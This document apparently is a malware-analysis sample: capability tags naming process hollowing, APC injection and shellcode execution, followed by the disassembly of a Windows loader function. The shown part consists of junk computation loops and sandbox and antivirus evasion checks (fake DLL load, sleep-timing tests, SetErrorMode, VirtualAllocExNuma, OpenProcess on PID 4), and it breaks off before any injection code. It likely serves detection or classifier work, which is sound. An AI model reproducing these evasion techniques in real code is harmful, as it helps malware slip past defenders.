Function at 0x140001530
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Inject apc
Link many functions at runtime
Resume thread
Use process replacement

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xc38
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0xba0], xmm6
mov dword [rbp + 0xbe0], ecx
mov qword [rbp + 0xbe8], rdx
call dbg.__main
mov dword [rbp + 0xb9c], 0xffffffff
add dword [rbp + 0xb9c], 1
mov ecx, 0x330
call sym.malloc
mov qword [rbp + 0x8d8], rax
mov ecx, 0x330
call sym.malloc
mov qword [rbp + 0x8d0], rax
mov ecx, 0x330
call sym.malloc
mov qword [rbp + 0x8c8], rax
mov dword [rbp + 0xb98], 0
jmp 0x140001699
mov dword [rbp + 0xb94], 0
jmp 0x140001685
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0xb98]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x8d8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0xb94]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0xb98]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x8d0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0xb94]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0xb94], 1
cmp dword [rbp + 0xb94], 0x10
jle 0x1400015be
add dword [rbp + 0xb98], 1
cmp dword [rbp + 0xb98], 0xb
jle 0x1400015af
mov dword [rbp + 0xb98], 0
jmp 0x140001776
mov dword [rbp + 0xb94], 0
jmp 0x140001762
mov eax, dword [rbp + 0xb98]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x8d8]
add rdx, rax
mov eax, dword [rbp + 0xb94]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0xb98]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x8d0]
add rdx, rax
mov eax, dword [rbp + 0xb94]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0xb98]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x8c8]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0xb94]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0xb94], 1
cmp dword [rbp + 0xb94], 0x10
jle 0x1400016c4
add dword [rbp + 0xb98], 1
cmp dword [rbp + 0xb98], 0xb
jle 0x1400016b5
mov rax, qword [rbp + 0x8d8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x8d0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x8c8]
mov rcx, rax
call sym.free
call sym.rand
add eax, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000c268]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.exp
movq rax, xmm0
mov qword [rbp + 0x8c0], rax
cmp dword [rbp + 0xb9c], 0x227d
jle 0x140001566
mov dword [rbp + 0xb90], 0xffffffff
mov ecx, 0x3590
call sym.malloc
mov qword [rbp + 0x8b8], rax
mov ecx, 0x3590
call sym.malloc
mov qword [rbp + 0x8b0], rax
add dword [rbp + 0xb90], 1
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0xb90]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x8b8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov dword [rbp + 0x8ac], 0
mov ecx, 0x1c0
call sym.malloc
mov qword [rbp + 0x8a0], rax
mov ecx, 0x1c0
call sym.malloc
mov qword [rbp + 0x898], rax
mov ecx, 0x1c0
call sym.malloc
mov qword [rbp + 0x890], rax
mov dword [rbp + 0xb8c], 0
jmp 0x1400019dc
mov dword [rbp + 0xb88], 0
jmp 0x1400019c8
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0xb8c]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x8a0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0xb88]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0xb8c]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x898]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0xb88]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0xb88], 1
cmp dword [rbp + 0xb88], 0xd
jle 0x140001907
add dword [rbp + 0xb8c], 1
cmp dword [rbp + 0xb8c], 7
jle 0x1400018f8
mov dword [rbp + 0xb8c], 0
jmp 0x140001ab9
mov dword [rbp + 0xb88], 0
jmp 0x140001aa5
mov eax, dword [rbp + 0xb8c]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x8a0]
add rdx, rax
mov eax, dword [rbp + 0xb88]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0xb8c]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x898]
add rdx, rax
mov eax, dword [rbp + 0xb88]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0xb8c]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x890]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0xb88]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0xb88], 1
cmp dword [rbp + 0xb88], 0xd
jle 0x140001a07
add dword [rbp + 0xb8c], 1
cmp dword [rbp + 0xb8c], 7
jle 0x1400019f8
mov rax, qword [rbp + 0x8a0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x898]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x890]
mov rcx, rax
call sym.free
mov eax, dword [rbp + 0xb90]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x8b8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xb90]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x8b0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0xb90], 0x6b0
jle 0x140001822
lea rax, str.wftseqqukasrxpa.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x888], rax
cmp qword [rbp + 0x888], 0
jne 0x140007ff9
mov dword [rbp + 0x884], 0x21f
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x878], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x870], rax
mov rax, qword [rbp + 0x870]
call rax
mov dword [rbp + 0x86c], eax
mov eax, dword [rbp + 0x884]
mov r8, qword [rbp + 0x878]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x870]
call rax
mov dword [rbp + 0x868], eax
mov eax, dword [rbp + 0x868]
sub eax, dword [rbp + 0x86c]
cmp eax, 0x1ed
jbe 0x140007ff9
mov ecx, 0x53c
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x53c
jne 0x140007ff9
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov qword [rbp + 0x860], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x858], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x858]
mov r9d, 0x3000
mov r8d, 0x495
mov edx, 0
call rax
mov qword [rbp + 0x860], rax
cmp qword [rbp + 0x860], 0
je 0x140007ff9
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x850], rax
cmp qword [rbp + 0x850], 0
jne 0x140007ff9
mov dword [rbp + 0x84c], 0x316
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x840], rax
mov rax, qword [rbp + 0x840]
call rax
mov dword [rbp + 0x83c], eax
mov eax, dword [rbp + 0x84c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x840]
call rax
mov dword [rbp + 0x838], eax
mov eax, dword [rbp + 0x838]
sub eax, dword [rbp + 0x83c]
cmp eax, 0x2e4
jbe 0x140007ff9
mov dword [rbp + 0x834], 0x35f
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x828], rax
mov rax, qword [rbp + 0x828]
call rax
mov dword [rbp + 0x824], eax
mov eax, dword [rbp + 0x834]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x828]
call rax
mov dword [rbp + 0x820], eax
mov eax, dword [rbp + 0x820]
sub eax, dword [rbp + 0x824]
cmp eax, 0x32d
jbe 0x140007ff9
mov qword [rbp + 0x818], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x810], rax
mov rax, qword [rbp + 0x810]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1f6da80
mov ecx, 0
call rax
mov qword [rbp + 0x818], rax
cmp qword [rbp + 0x818], 0
je 0x140007ff9
mov rax, qword [rbp + 0x818]
mov edx, 0x1f6da80
mov rcx, rax
call dbg.RtlSecureZeroMemory
mov rax, qword [rbp + 0x818]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x808], rax
cmp qword [rbp + 0x808], 0
jne 0x140007ff9
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x800], rax
cmp qword [rbp + 0x800], 0
je 0x140007ff9
mov rax, qword [rbp + 0x800]
mov edx, 0x48c
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x7fc], eax
mov dword [rbp + 0xb84], 0
mov dword [rbp + 0xb80], 0
mov ecx, 0x2918
call sym.malloc
mov qword [rbp + 0x7f0], rax
mov dword [rbp + 0xb7c], 0
jmp 0x140001fdf
call sym.rand
mov edx, dword [rbp + 0xb7c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7f0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0xb7c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7f0]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0xb84], eax
add dword [rbp + 0xb7c], 1
cmp dword [rbp + 0xb7c], 0xa45
jle 0x140001f71
mov dword [rbp + 0xb78], 0
mov dword [rbp + 0xb74], 0
mov ecx, 0x188
call sym.malloc
mov qword [rbp + 0x7e8], rax
mov dword [rbp + 0xb70], 0
jmp 0x14000208a
call sym.rand
mov edx, dword [rbp + 0xb70]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7e8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0xb70]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e8]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0xb78], eax
add dword [rbp + 0xb70], 1
cmp dword [rbp + 0xb70], 0x61
jle 0x14000201c
mov dword [rbp + 0xb70], 0
jmp 0x14000210f
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0xb74]
mov eax, dword [rbp + 0xb70]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e8]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x398]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x14000c270]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0xb74], eax
add dword [rbp + 0xb70], 1
cmp dword [rbp + 0xb70], 0x61
jle 0x14000209f
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0xb74]
movss xmm1, dword [0x14000c278]
divss xmm0, xmm1
movss dword [rbp + 0x7e4], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x7e4]
movq rax, xmm4
movq xmm0, rax
call dbg.sqrt
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x7e0], xmm0
mov rax, qword [rbp + 0x7e8]
mov rcx, rax
call sym.free
mov dword [rbp + 0xb7c], 0
jmp 0x1400021ea
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0xb80]
mov eax, dword [rbp + 0xb7c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7f0]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x39c]
pxor xmm5, xmm5
cvtss2sd xmm5, xmm0
movq rax, xmm5
movsd xmm0, qword [0x14000c270]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0xb80], eax
add dword [rbp + 0xb7c], 1
cmp dword [rbp + 0xb7c], 0xa45
jle 0x14000217a
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0xb80]
movss xmm1, dword [0x14000c27c]
divss xmm0, xmm1
movss dword [rbp + 0x7dc], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x7dc]
movq rax, xmm3
movq xmm0, rax
call dbg.sqrt
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x7d8], xmm0
mov rax, qword [rbp + 0x7f0]
mov rcx, rax
call sym.free
mov dword [rbp + 0xb6c], 0xffffffff
mov ecx, 0xd130
call sym.malloc
mov qword [rbp + 0x7d0], rax
add dword [rbp + 0xb6c], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000c268]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0xb6c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7d0]
add rax, rdx
movsd xmm1, qword [0x14000c280]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov dword [rbp + 0xb68], 0
jmp 0x140002344
call sym.rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x30c30c31
shr rax, 0x20
sar eax, 2
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x3ac], eax
mov ecx, dword [rbp + 0x3ac]
mov eax, ecx
shl eax, 2
add eax, ecx
shl eax, 2
add eax, ecx
sub edx, eax
mov dword [rbp + 0x3ac], edx
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000c268]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x3ac]
movq xmm0, rax
call dbg.ldexp
movq rax, xmm0
mov qword [rbp + 0x3a0], rax
add dword [rbp + 0xb68], 1
cmp dword [rbp + 0xb68], 0xb5
jle 0x1400022c4
mov eax, dword [rbp + 0xb6c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7d0]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0xb6c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7d0]
add rax, rdx
movq xmm1, qword [0x14000c290]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0xb6c], 0x1a24
jle 0x140002267
lea rax, [rbp + 0x170]
lea rdx, [0x14000c068]
mov ecx, 0x3f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
pxor xmm0, xmm0
movss dword [rbp + 0xb60], xmm0
mov dword [rbp + 0xb64], 0
jmp 0x14000255f
mov ecx, 0x7a0
call sym.malloc
mov qword [rbp + 0x3b0], rax
mov dword [rbp + 0xb5c], 0
jmp 0x140002473
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000c268]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0xb5c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3b0]
add rax, rdx
movsd xmm1, qword [0x14000c280]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0xb5c], 1
cmp dword [rbp + 0xb5c], 0xf3
jle 0x140002425
mov dword [rbp + 0xb5c], 0
jmp 0x1400024da
mov eax, dword [rbp + 0xb5c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3b0]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0xb5c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3b0]
add rax, rdx
movq xmm1, qword [0x14000c290]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0xb5c], 1
cmp dword [rbp + 0xb5c], 0xf3
jle 0x14000248b
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0xb64]
movsd xmm0, qword [0x14000c280]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x14000c2a0]
movd xmm0, eax
call dbg.powf
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0xb64]
addsd xmm0, xmm0
movsd xmm2, qword [0x14000c280]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0xb60]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0xb60], xmm0
add dword [rbp + 0xb64], 1
cmp dword [rbp + 0xb64], 0x574
jle 0x140002408
movss xmm1, dword [rbp + 0xb60]
movss xmm0, dword [0x14000c2a4]
mulss xmm0, xmm1
movss dword [rbp + 0xb60], xmm0
mov dword [rbp + 0xb58], 0
mov dword [rbp + 0xb54], 1
mov dword [rbp + 0xb50], 0
mov dword [rbp + 0x7cc], 0x33
jmp 0x1400025e8
mov edx, dword [rbp + 0xb58]
mov eax, dword [rbp + 0xb54]
add eax, edx
mov dword [rbp + 0x3bc], eax
add dword [rbp + 0xb50], 1
mov eax, dword [rbp + 0xb54]
mov dword [rbp + 0xb58], eax
mov eax, dword [rbp + 0x3bc]
mov dword [rbp + 0xb54], eax
mov eax, dword [rbp + 0xb50]
cmp eax, dword [rbp + 0x7cc]
jl 0x1400025b5
mov ecx, 0x2bc
call sym.malloc
mov qword [rbp + 0x7c0], rax
mov dword [rbp + 0xb4c], 0
jmp 0x14000269f
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0xb4c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c0]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0xb4c], 1
cmp dword [rbp + 0xb4c], 0xae
jle 0x140002616
mov dword [rbp + 0xb4c], 0
jmp 0x1400027cb
mov dword [rbp + 0x3c4], 0
jmp 0x1400027ad
mov eax, dword [rbp + 0xb4c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c0]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x3c4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c0]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x1400027a6
mov eax, dword [rbp + 0x3c4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c0]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x3c0], xmm0
mov eax, dword [rbp + 0xb4c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c0]
add rdx, rax
mov eax, dword [rbp + 0x3c4]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x7c0]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x3c4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c0]
add rax, rdx
movss xmm0, dword [rbp + 0x3c0]
movss dword [rax], xmm0
add dword [rbp + 0xb4c], 1
mov eax, 0xae
sub eax, dword [rbp + 0xb4c]
cmp dword [rbp + 0x3c4], eax
jl 0x1400026cd
add dword [rbp + 0xb4c], 1
cmp dword [rbp + 0xb4c], 0xae
jle 0x1400026be
mov rax, qword [rbp + 0x7c0]
mov rcx, rax
call sym.free
mov ecx, 0x30f4
call sym.malloc
mov qword [rbp + 0x7b8], rax
mov dword [rbp + 0xb44], 0
mov dword [rbp + 0xb40], 0
mov dword [rbp + 0xb48], 0
jmp 0x14000298e
call sym.rand
mov edx, dword [rbp + 0xb48]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7b8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0xb48]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7b8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x14000295d
add dword [rbp + 0xb44], 1
mov dword [rbp + 0xb38], 0
mov dword [rbp + 0x3d4], 0
mov ecx, 0xcc
call sym.malloc
mov qword [rbp + 0x3c8], rax
mov dword [rbp + 0xb3c], 0
jmp 0x14000293f
call sym.rand
mov ecx, eax
mov eax, dword [rbp + 0xb3c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3c8]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0xb3c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3c8]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0xb38], eax
add dword [rbp + 0xb3c], 1
cmp dword [rbp + 0xb3c], 0x32
jle 0x1400028c3
mov rax, qword [rbp + 0x3c8]
mov rcx, rax
call sym.free
jmp 0x140002987
mov eax, dword [rbp + 0xb48]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7b8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140002987
add dword [rbp + 0xb40], 1
add dword [rbp + 0xb48], 1
cmp dword [rbp + 0xb48], 0xc3c
jle 0x14000281e
mov rax, qword [rbp + 0x7b8]
mov rcx, rax
call sym.free
mov dword [rbp + 0xb34], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0xb28], xmm0
add dword [rbp + 0xb34], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0xb34]
movsd xmm0, qword [0x14000c280]
addsd xmm0, xmm1
mov rax, qword [0x14000c2a8]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0xb34]
addsd xmm0, xmm0
movsd xmm2, qword [0x14000c280]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0xb28]
addsd xmm0, xmm1
movsd qword [rbp + 0xb28], xmm0
cmp dword [rbp + 0xb34], 0x1f09
jle 0x1400029c3
movsd xmm1, qword [rbp + 0xb28]
movsd xmm0, qword [0x14000c2b0]
mulsd xmm0, xmm1
movsd qword [rbp + 0xb28], xmm0
mov ecx, 0x5bc0
call sym.malloc
mov qword [rbp + 0x7b0], rax
mov ecx, 0x5bc0
call sym.malloc
mov qword [rbp + 0x7a8], rax
mov dword [rbp + 0xb24], 0
jmp 0x140002b20
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
